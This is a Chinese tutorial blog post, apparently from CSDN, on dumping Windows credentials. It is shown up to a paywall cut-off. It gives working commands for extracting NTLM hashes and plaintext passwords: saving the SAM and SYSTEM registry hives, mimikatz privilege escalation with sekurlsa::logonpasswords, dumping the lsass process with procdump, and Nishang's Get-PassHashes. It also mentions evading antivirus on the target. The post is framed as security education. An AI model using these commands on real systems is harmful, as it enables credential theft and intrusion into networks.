内网安全之：Windows 密码抓取

最新推荐文章于 2025-06-18 13:06:33 发布

f_carey

最新推荐文章于 2025-06-18 13:06:33 发布

阅读量4.2k

点赞数 1

CC 4.0 BY-SA版权

分类专栏： Metasploit 文章标签：安全 windows 内网安全

本文链接：https://blog.csdn.net/f_carey/article/details/121319445

本文详细介绍了Windows内网安全中的密码抓取技术，包括使用mimikatz工具抓取NTLM Hash和明文密码，以及HashCat解密。同时，文章也探讨了多种传递攻击方式，如NTLM hash传递、AES-256密钥传递和Ticket传递，并提供了相应的防范措施，如安装KB2871997、关闭Wdigest功能和修改注册表。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

郑重声明：
本笔记编写目的只用于安全知识提升，并与更多人共享安全知识，切勿使用笔记中的技术进行违法活动，利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责，共同维护网络文明和谐。

Windows 密码抓取

1 mimikatz 抓取密码

注：在 Windows 系统中抓取 NTLM Hash 值或明文密码，必须将权限提升到 System；lsass.exe 进程用于实现 Windows 的安全策略。

利用通过 SAM 和 System 文件获得 NTLM Hash

gentilkiwi/mimikatz: A little tool to play with Windows security (github.com)

# 无工具导出 SAM 文件
reg save hklm\sam sam.hive
reg save hklm\system system.hive
# 使用 mimikatz 读取 SAM 和 System 文件
mimikatz# lsadump::sam /sam:sam.hive /system:system.hive

# 使用 Nishang 的 Get-PassHashes 脚本导出 Hash 值
nishang-0.7.6\Gather> Import-Module .\Get-PassHashes.ps1
Get-PassHashes

使用 mimikatz 读取本地 SAM 文件

需要考虑 mimikatz 在目标机器上的免杀特性
# 提权
mimikatz# privilege::debug
# 将权限提升至 System
mimikatz# token::elevate
# 读取本地 SAM 文件，获得 NTLM Hash
mimikatz# lsadump::sam
# 解密 HASH 值
mimikatz# sekurlsa::logonpasswords

使用 mimikatz 离线读取 lsass.dmp 文件

# 导出 lsass.dmp 文件
找到 lsass.exe 进程，右键选择:创建转储文件

# 利用 procdump 导出 lsass.dmp 文件
procdump.exe -accepteula -ma lsass.exe lsass.dmp

使用 mimikatz 读取 lsass.dmp 文件中的密码 HASH值
```
mimikatz# sekurlsa::m
```

最低0.47元/天解锁文章

200万优质内容无限畅学